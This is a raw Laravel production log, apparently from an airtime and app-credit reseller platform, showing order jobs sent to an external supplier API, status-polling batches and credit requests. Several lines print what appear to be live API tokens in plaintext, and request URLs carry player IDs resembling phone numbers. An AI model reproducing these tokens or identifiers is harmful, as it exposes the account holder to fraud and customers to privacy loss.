[2026-03-24 20:09:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1033  
[2026-03-24 20:09:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1463  
[2026-03-24 20:09:53] production.INFO: Constructing job for order: 179289  
[2026-03-24 20:09:54] production.INFO: Handling job for order: 179289  
[2026-03-24 20:09:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:09:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:09:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=4546c404-696a-4cae-a53a-70c7ffa172ed&Player_ID=0940031573  
[2026-03-24 20:09:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=4546c404-696a-4cae-a53a-70c7ffa172ed&Player_ID=0940031573","has_body":false} 
[2026-03-24 20:09:54] production.INFO: SendAcceptReject: Notification queued {"user_id":57,"notification_type":"order_approved","reference_id":179282} 
[2026-03-24 20:09:55] production.INFO: Operation sent successfully {"operation_id":164170,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9ln9s-1774372195","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:09:55"}},"processed_data":{"order_number":"ORD-9ln9s-1774372195","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:09:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 57  
[2026-03-24 20:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01"} 
[2026-03-24 20:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","total_operations":4,"sites_count":2} 
[2026-03-24 20:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-4yhzFQRJ-1774372138","ORD-btKiBfQ8-1774372176"]} 
[2026-03-24 20:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4yhzFQRJ-1774372138","operation_id":164167} 
[2026-03-24 20:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169} 
[2026-03-24 20:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 20:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169,"processed":0,"errors":0} 
[2026-03-24 20:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169,"orders_count":2,"order_ids":["ORD-tHUUYaZ-1774372139","ORD-9ln9s-1774372195"]} 
[2026-03-24 20:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169} 
[2026-03-24 20:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-btKiBfQ8-1774372176","operation_id":164169,"orders_count":2} 
[2026-03-24 20:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9ln9s-1774372195","operation_id":164170} 
[2026-03-24 20:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 20:10:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:10:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"count":1} 
[2026-03-24 20:10:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"count":1} 
[2026-03-24 20:10:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"user_id":376,"notification_type":"order_approved","reference_id":179287} 
[2026-03-24 20:10:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:10:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:10:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"processed":1,"errors":0} 
[2026-03-24 20:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168,"processed":1,"errors":0} 
[2026-03-24 20:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cKWycvca5lClWKwnd7ktBlTBB1GYEFSu","execution_time":"2026-03-24 20:10:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tHUUYaZ-1774372139","operation_id":164168} 
[2026-03-24 20:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:10:04] production.INFO: async() رجع: true  
[2026-03-24 20:10:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:10:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:10:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 376  
[2026-03-24 20:10:19] production.INFO: Constructing job for order: 179290  
[2026-03-24 20:10:20] production.INFO: Handling job for order: 179290  
[2026-03-24 20:10:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:10:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:10:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=64103162-eeba-4133-89e7-cb61589dfd33&Player_ID=0959822959  
[2026-03-24 20:10:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=64103162-eeba-4133-89e7-cb61589dfd33&Player_ID=0959822959","has_body":false} 
[2026-03-24 20:10:21] production.INFO: Operation sent successfully {"operation_id":164171,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-H5bfIIg-1774372221","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:10:21"}},"processed_data":{"order_number":"ORD-H5bfIIg-1774372221","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:10:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"10000.0","mainamount":"10000","operation_number":"158627437","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpfp5iak6thrii5RMdcSx"}},"user_id":562} 
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:10:57] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:10:57] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18692,"user_id":562,"amount":10000.0,"admins_notified":7} 
[2026-03-24 20:11:03] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158678551","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpdsrh2shhdjh62MIZcqk"}},"user_id":357} 
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:11:06] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:11:06] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18693,"user_id":357,"amount":2000.0,"admins_notified":7} 
[2026-03-24 20:11:11] production.INFO: Constructing job for order: 179291  
[2026-03-24 20:11:12] production.INFO: Handling job for order: 179291  
[2026-03-24 20:11:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:11:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:11:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=d00de31c-24fb-4192-9eae-95bdead3918d&Player_ID=0940031571  
[2026-03-24 20:11:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=d00de31c-24fb-4192-9eae-95bdead3918d&Player_ID=0940031571","has_body":false} 
[2026-03-24 20:11:13] production.INFO: Operation sent successfully {"operation_id":164172,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ZOMawj71-1774372273","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:11:13"}},"processed_data":{"order_number":"ORD-ZOMawj71-1774372273","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:11:28] production.INFO: Constructing job for order: 179292  
[2026-03-24 20:11:31] production.INFO: Handling job for order: 179292  
[2026-03-24 20:11:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:11:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:11:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=ca40117d-2ce6-4189-bdbd-efee6acb1d2a&Player_ID=279514155  
[2026-03-24 20:11:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=ca40117d-2ce6-4189-bdbd-efee6acb1d2a&Player_ID=279514155","has_body":false} 
[2026-03-24 20:11:32] production.INFO: Operation sent successfully {"operation_id":164173,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WrfLT-1774372291","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 20:11:32"}},"processed_data":{"order_number":"ORD-WrfLT-1774372291","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 20:11:34] production.INFO: SendAcceptReject: Notification queued {"user_id":189,"notification_type":"request_approved","reference_id":18690} 
[2026-03-24 20:11:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 189  
[2026-03-24 20:11:52] production.INFO: Constructing job for order: 179293  
[2026-03-24 20:11:53] production.INFO: Handling job for order: 179293  
[2026-03-24 20:11:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:11:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:11:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/778/params?qty=500000&uuid=fbbbecb3-43d3-406d-8987-bc1621d55f1b&Player_ID=1513502  
[2026-03-24 20:11:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/778/params?qty=500000&uuid=fbbbecb3-43d3-406d-8987-bc1621d55f1b&Player_ID=1513502","has_body":false} 
[2026-03-24 20:11:54] production.INFO: Operation sent successfully {"operation_id":164174,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ad83fqBp-1774372314","amount":12.7656000000000009464429240324534475803375244140625,"status":"processing","product":"PotaLive","game":"PotaLive","notes":[],"created_at":"2026-03-24 20:11:54"}},"processed_data":{"order_number":"ORD-ad83fqBp-1774372314","amount":12.7656000000000009464429240324534475803375244140625,"status":"processing","product":"PotaLive","game":"PotaLive"}} 
[2026-03-24 20:12:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00"} 
[2026-03-24 20:12:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","total_operations":7,"sites_count":2} 
[2026-03-24 20:12:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-4yhzFQRJ-1774372138","ORD-btKiBfQ8-1774372176","ORD-WrfLT-1774372291","ORD-ad83fqBp-1774372314"]} 
[2026-03-24 20:12:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:12:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 20:12:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4yhzFQRJ-1774372138","operation_id":164167} 
[2026-03-24 20:12:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ad83fqBp-1774372314","operation_id":164174} 
[2026-03-24 20:12:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173} 
[2026-03-24 20:12:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 20:12:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:12:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"count":1} 
[2026-03-24 20:12:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"count":1} 
[2026-03-24 20:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"user_id":1424,"notification_type":"order_approved","reference_id":179288} 
[2026-03-24 20:12:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:12:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:12:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"processed":1,"errors":0} 
[2026-03-24 20:12:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"processed":1,"errors":0} 
[2026-03-24 20:12:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"orders_count":3,"order_ids":["ORD-9ln9s-1774372195","ORD-H5bfIIg-1774372221","ORD-ZOMawj71-1774372273"]} 
[2026-03-24 20:12:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173} 
[2026-03-24 20:12:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WrfLT-1774372291","operation_id":164173,"orders_count":3} 
[2026-03-24 20:12:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 20:12:00] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 20:12:00] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"count":3} 
[2026-03-24 20:12:00] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"count":3} 
[2026-03-24 20:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"user_id":376,"notification_type":"order_approved","reference_id":179289} 
[2026-03-24 20:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"user_id":1071,"notification_type":"order_approved","reference_id":179290} 
[2026-03-24 20:12:00] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"user_id":376,"notification_type":"order_approved","reference_id":179291} 
[2026-03-24 20:12:00] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:12:00] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:12:00] production.INFO: Batch update completed {"job":"Quryjob","job_id":"7nWIzUh8Oux6K5QY7AphvA4Uf1Wlnpyo","execution_time":"2026-03-24 20:12:00","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZOMawj71-1774372273","operation_id":164172,"processed":3,"errors":0} 
